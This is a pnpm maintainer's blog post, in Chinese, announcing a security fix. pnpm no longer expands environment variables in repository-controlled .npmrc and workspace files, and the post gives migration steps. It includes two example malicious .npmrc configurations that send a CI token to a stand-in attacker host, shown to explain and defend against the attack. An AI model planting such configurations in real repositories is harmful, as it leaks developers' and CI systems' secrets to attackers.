跳到主内容

为什么 pnpm 不再解析仓库 .npmrc 文件中的环境变量

· 一分钟阅读
Zoltan Kochan
pnpm 的首席维护者

过去,pnpm 会在任何发现 ${ENV_VAR} 占位符的地方对其进行解析替换——这包括你刚克隆的代码仓库中的 .npmrcpnpm-workspace.yaml 文件。 这种机制可能被恶意仓库利用,从而窃取你环境中的敏感信息。 自 v10.34.2 和 v11.5.3 版本起,pnpm 不再解析由仓库控制的注册源及凭证配置中的环境变量。

这是一项安全修复(GHSA-3qhv-2rgh-x77r),对于某些配置而言,它属于破坏性变更。 本文介绍了此次攻击、具体发生了哪些变化,以及如何进行迁移。

攻击方式

当你克隆仓库时,提交给仓库的 .npmrc 是攻击者控制的。 在此次变更之前,pnpm 在解析依赖项时会展开该文件中的环境变量——这一过程发生在任何生命周期脚本运行之前,因此 pnpm 自身的脚本拦截保护机制也无法防范此类攻击。

试想一个包含以下 .npmrc 内容的仓库:

registry=https://attacker.example/${CI_JOB_TOKEN}/

或者这个:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

当你运行 pnpm install 且环境中存在 CI_JOB_TOKEN(或任何其他可被猜测的密钥)时,pnpm 会展开占位符,并将密钥直接发送给攻击者——无论是通过请求 URL(如 https://attacker.example/<secret>/...)还是通过 Authorization: Bearer <secret> 请求头。 同样的手段也适用于 pnpm-workspace.yaml 中的 registry URL。

无需安装脚本或后安装脚本,仅仅是解析依赖项这一步就足以导致密钥泄露。

有什么变化

pnpm 现在在处理环境变量展开时引入了“信任感知”机制。 当配置值来自受仓库控制的文件时,环境变量将不再被展开:

  • 在项目级和工作区级 .npmrc 中:registry@scope:registry、代理 URL、URL 作用域键(如 //host/…)以及凭证值(_authToken_auth_passwordusernametokenHelpercertkey)。
  • pnpm-workspace.yaml 中:注册源 URL(包括 registry 字段以及 registries / namedRegistries 中的值)。

如果上述位置的配置包含 ${...} 占位符,pnpm 将忽略该设置,并打印警告信息,指导用户如何进行迁移。

对于非仓库来源的配置,环境变量仍会正常展开:

  • 用户级 ~/.npmrc(以及 npmrcAuthFile 指向的文件);
  • 全局配置;
  • 命令行选项;
  • 环境变量配置。

这种区分正是关键所在:密钥应当存储在可控的位置,而不是随同你即将安装的代码一起分发的文件中。 我们还针对一种相关的极端情况进行了加固:即仓库级的 .npmrc 文件可能重定向 pnpm 视为受信任的用户级或全局级配置的文件(通过 userconfigglobalconfigprefix 配置项);现在,这些配置文件的路径仅会解析自受信任的来源。

如何迁移

如果升级后认证失效,请将令牌从已提交的“.npmrc”中移到可信的位置。

将其写入你的用户/全局配置 (这是 pnpm 自己的 CI 不做的):

pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN"

默认情况下,pnpm config set 会将配置写入用户级/全局配置文件,而不会写入项目级的 .npmrc,从而确保令牌不会被提交到代码仓库中。

或者,也可以完全通过环境变量提供凭证,无需创建任何 .npmrc 文件(此功能自 v11.6 版本起支持)。 pnpm 会从 pnpm_config_//…(以及 npm_config_//…)这类环境变量中读取针对特定 URL 的注册源配置:

env "pnpm_config_//registry.npmjs.org/:_authToken=$NPM_TOKEN" pnpm install

The variable name contains /, :, and ., so export and the NAME=value shell assignment syntax reject it as an invalid identifier. Use the env utility (as shown above) to pass it to a single command, or set it through a tool that accepts arbitrary variable names (such as your CI provider's environment settings).

这是替代代码仓库中 //registry.npmjs.org/:_authToken=${NPM_TOKEN} 这一行配置的最直接且无需文件的方案。 由于凭证适用的注册源地址已包含在(受信任的)变量名中,恶意仓库无法将其重定向到其他主机。 该环境变量的值会覆盖项目级 .npmrc 中的设置,但会被命令行选项覆盖;若同一配置项同时通过两种前缀设置,则 pnpm_config_ 优先。 (tokenHelper 刻意设计为不从环境变量中读取。)

**或者将${NPM_TOKEN}行保留在您的用户层文件~/.npmrc**代替仓库中的——环境变量依然在仓库中展开。

在 GitHub Actions 中,使用 registry-url 输入参数的 actions/setup-node 操作会自动生成用户级的 .npmrc 文件,因此通过 NODE_AUTH_TOKEN 进行身份验证的方式无需额外修改即可继续正常工作:

- uses: actions/setup-node@v4
with:
node-version: 24
registry-url: https://registry.npmjs.org
- run: pnpm install
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

在其他 CI 系统中,由于编辑每个流水线不切实际,你可以通过在 CI 环境中设置一个环境变量来声明仓库自身的 .npmrc 文件受信任:

# V11:
PNPM_CONFIG_NPMRC_AUTH_FILE=.npmrc
# v10(或作为后备):
NPM_CONFIG_USERCONFIG=.npmrc

因为这种信任声明来自环境——而不是储存库——恶意仓库无法为你设置它。 仅在构建受信任仓库的环境中使用它:因为它会完全禁用针对该检出的保护机制。

动态注册源网址

该规则同样适用于注册源和代理URL。 如果你使用了环境变量来配置注册源 URL 模板,请将其迁移至受信任的来源(例如 pnpm config set、用户级 ~/.npmrc 文件、CLI 选项或环境配置)。 如果该 URL 不涉及机密信息,你可以直接将解析后的值写入项目的 .npmrc 文件中——只有 ${...} 占位符会被忽略,直接写明 URL 是完全没问题的。

按作用域的令牌

人们之所以常用 ${...} 占位符,一个常见原因是需要针对同一个注册源主机管理多个令牌。 从 v11.7 版本开始,pnpm 支持为不同的包作用域指定不同的认证令牌,即使这些 作用域使用相同的注册源 URL —— 因此,你不再需要使用包含变量的模板来配置单一密钥。 在认证键(位于受信任位置,例如用户目录下的 ~/.npmrc 文件)中,将作用域放在注册源 URL 之后:

@org-a:registry=https://npm.pkg.github.com/
@org-b:registry=https://npm.pkg.github.com/

//npm.pkg.github.com/:@org-a:_authToken=${ORG_A_TOKEN}
//npm.pkg.github.com/:@org-b:_authToken=${ORG_B_TOKEN}

安装或发布 @org-a/* 时使用 ORG_A_TOKEN@org-b/* 则使用 ORG_B_TOKEN。 请参阅 作用域特定的身份验证令牌

很抱歉发生了破损

在补丁版本中发布破坏性变更并非我们轻易做出的决定,我们也深知这给部分 CI 流水线造成了干扰。 但这属于一个已上报且存在有效利用手段的漏洞;若任其存在——或者等到下一个重大版本才修复——就意味着明知故犯,相当于主动提供了一种途径,让任意代码仓库都能读取你的机密信息。 将修复作为补丁向后移植到 v10 版本,是让现有用户真正获得该修复的唯一途径。

有关完整的迁移指南,请参阅身份验证设置文档